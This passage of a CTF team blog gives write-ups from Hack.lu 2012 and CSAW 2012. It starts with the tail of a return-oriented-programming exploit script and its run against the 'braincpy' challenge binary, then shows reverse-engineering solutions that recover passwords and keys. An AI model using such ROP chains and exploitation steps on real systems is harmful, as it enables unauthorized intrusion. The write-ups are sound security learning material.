; ret p += pack("<I", 0x080516cb) # pop %ebx ; ret p += pack("<I", 1) # stdout p += pack("<I", 0x080dbc2c) # pop %ecx ; ret p += pack("<I", 0x080e5080) # @ .data p += pack("<I", 0x0805adec) # pop %edx ; ret p += pack("<I", 24) #length p += pack("<I", 0x0805b5c0) # int $0x80 sys.stdout.write(p) sys.stderr.write('Size: %d\n' % len(p)) ######################################################################## And let's try this one: ctf@braincpy:~$ python /tmp/my_secret_tmp_dir/new_stage2.py | ./braincpy "`python /tmp/my_secret_tmp_dir/stage1.py`" Size: 196 NOMNOMNOM! ROP_GOLF_IS_A_NICE_GAME Segmentation fault ctf@braincpy:~$
Yeah! The key is: ROP_GOLF_IS_A_NICE_GAME
Pff. I still don’t quite understand why I couldn’t get a shell, however. In the end it was a real challenge to master return oriented programming.
Hack.lu CTF 2012 – 6th place!
Hack.lu is over. Great CTF with very nice and sometimes very difficult challenges. Thumbs up for the organisers – FluxFingers, thanks gents. Lots of reverse engineering and exploitation again, but also some nice web-challenges. We had a slightly bigger team then before and it showed, we could handle more challenges and scored more points.
End result is 6th place and we are happy with that. We even finished as first NL team, one place above De Eindbazen and those guys are very good.
See you all at the next CTF, we are sharpening our swords and are looking forward to it.
team pong signing off and getting some rest 🙂
Hack.lu CTF 2012 – #18 Zombie Lockbox (200 points)
Challenge
Some zombies use a lock box with a not so complicated authentication system to hide their food (brains) from unwanted thieves. Since non-infested brains are rare these days, you desperately need one for your local science team for dissection, so they can continue working on some sort of cure again. So, are you able to open one of these rare lockboxes? SSH: ctf.fluxfingers.net PORT: 2094 USER: ctf PASS: LkxiPPsxYzzsxf
Let’s see what we have here.
# md5sum zombie-lockbox aad4ea4ccfc0a402c70681ddabe27d1f zombie-lockbox # file zombie-lockbox zombie-lockbox: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
Load this one in IDA.
.text:08048539 mov eax, offset aZ0mb1ez_haq_te ; "z0mb1ez_haq_teh_sh1t"
A local run confirms this is the password. Wooot! But….on the CTF server is does not accept this password, there is something strange going on here. It seems our executable is linked against libc (duh) but libc has been changed. We can see a libc.so.6 and libc.so.6.bak file on the CTF server. Are we going to load these into IDA or use a more powerful method. 😉
# strings -a libc.6.so > v1 # strings -a libc.6.so.bak > v2 # diff v1 v2 3575,3579c3575,3578 > @dlol_ > @hz0mb > @l1ez_ > @pc4nt > @t_haq
We found the following password: lol_z0mb1ez_c4nt_haq. Inputting this on the CTF server as password gave us the answer key.
Answer key: GETEUID_YOU_NASTY_BITCH
Hack.lu CTF 2012 – We’re competing
We are competing in Hack.Lu 12 organised by FluxFingers. Again a very nice CTF, lots of interesting challenges. Nice work by the FluxFingers people! Let’s see where we end up after the CTF is over. 10th place right now, when more team members wake up we must score some extra points.
Let’s score that Recon challenge ;).
Happy hacking to everybody.
CSAW 2012 – Reversing 400
$ md5sum re400 1c58c4a9b3caaa41b7f377c898baaaee re400
$ file re400 re400: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x012c3cf67d5aa15a9985ea064958921dc600c367, not stripped
Let’s open the binary in IDA.
The key is in plain sight:
.text:0000000000400650 mov [rbp+key], 9Ch .text:0000000000400654 mov [rbp+key+1], 8Ch .text:0000000000400658 mov [rbp+key+2], 9Eh .text:000000000040065C mov [rbp+key+3], 88h .text:0000000000400660 mov [rbp+key+4], 96h .text:0000000000400664 mov [rbp+key+5], 8Ch .text:0000000000400668 mov [rbp+key+6], 8Ch .text:000000000040066C mov [rbp+key+7], 90h .text:0000000000400670 mov [rbp+key+8], 97h .text:0000000000400674 mov [rbp+key+9], 9Eh .text:0000000000400678 mov [rbp+key+0Ah], 8Dh .text:000000000040067C mov [rbp+key+0Bh], 9Bh .text:0000000000400680 mov [rbp+key+0Ch], 0A0h .text:0000000000400684 mov [rbp+key+0Dh], 0A0h .text:0000000000400688 mov [rbp+key+0Eh], 0C5h .text:000000000040068C mov [rbp+key+0Fh], 0D7h .text:0000000000400690 mov [rbp+key+10h], 0
As is the decryption routine:
.text:00000000004005F3 decrypt proc near ; CODE XREF: .text:00000000004006CAp .text:00000000004005F3 .text:00000000004005F3 key = qword ptr -18h .text:00000000004005F3 var_4 = dword ptr -4 .text:00000000004005F3 .text:00000000004005F3 push rbp .text:00000000004005F4 mov rbp, rsp .text:00000000004005F7 mov [rbp+key], rdi .text:00000000004005FB mov [rbp+var_4], 0 .text:0000000000400602 jmp short loc_40061E .text:0000000000400604 ; --------------------------------------------------------------------------- .text:0000000000400604 .text:0000000000400604 loc_400604: ; CODE XREF: decrypt+34j .text:0000000000400604 mov rax, [rbp+key] .text:0000000000400608 movzx eax, byte ptr [rax] .text:000000000040060B mov edx, eax .text:000000000040060D not edx .text:000000000040060F mov rax, [rbp+key] .text:0000000000400613 mov [rax], dl .text:0000000000400615 add [rbp+key], 1 .text:000000000040061A add [rbp+var_4], 1 .text:000000000040061E .text:000000000040061E loc_40061E: ; CODE XREF: decrypt+Fj .text:000000000040061E mov rax, [rbp+key] .text:0000000000400622 movzx eax, byte ptr [rax] .text:0000000000400625 test al, al .text:0000000000400627 jnz short loc_400604 .text:0000000000400629 mov eax, [rbp+var_4] .text:000000000040062C pop rbp .text:000000000040062D retn .text:000000000040062D decrypt endp
Similar to reverse engineering 100 points, a bitflip is used as obfuscation mechanism.
Key: csawissohard__:(
CSAW 2012 – Reversing 300
$ file r300.exe r300.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Let’s open the binary in Reflector again.
private static void Main(string[] args) { Console.WriteLine("Do you really just run random binaries given to you in challenges?"); Console.ReadLine(); Environment.Exit(0); MD5CryptoServiceProvider provider = new MD5CryptoServiceProvider(); AesCryptoServiceProvider provider2 = new AesCryptoServiceProvider(); foreach (string str in Directory.EnumerateDirectories(target)) { if (Enumerable.SequenceEqual<byte>(provider.ComputeHash(Encoding.UTF8.GetBytes(str.Replace(target, ""))), marker)) { byte[] rgbKey = provider.ComputeHash(Encoding.UTF8.GetBytes("sneakyprefix" + str.Replace(target, ""))); byte[] bytes = provider2.CreateDecryptor(rgbKey, new byte[] { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }).TransformFinalBlock(data, 0, data.Length); Console.Write(Encoding.UTF7.GetString(bytes)); } } Console.ReadLine(); }
An easy way to display the key is to patch out the Environment.Exit(0) statement. But I did it the hard way. 🙂
First all directories in ‘target’ are enumerated and its hash compared to ‘marker’.
From Reflector:
# marker = new byte[] { 0xff, 0x97, 0xa9, 0xfd, 0xed, 0xe0, 0x9e, 0xaf, 110, 0x1c, 0x8e, 0xc9, 0xf6, 0xa6, 0x1d, 0xd5 }; # target = @"C:\Program Files\";
The following python code snippet reveals that “Intel” is the string we’re looking for.
for d in os.listdir("C:\Program Files"): print d, hexlify(md5sum(d))
This gives us the key for the AES decryption: md5sum(“sneakyprefix” + “Intel”).
The IV for the decryption: { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }.
And decrypting the ciphertext with AES using found key and IV reveals the key: 6a6c4d43668404041e67f0a6dc0fe243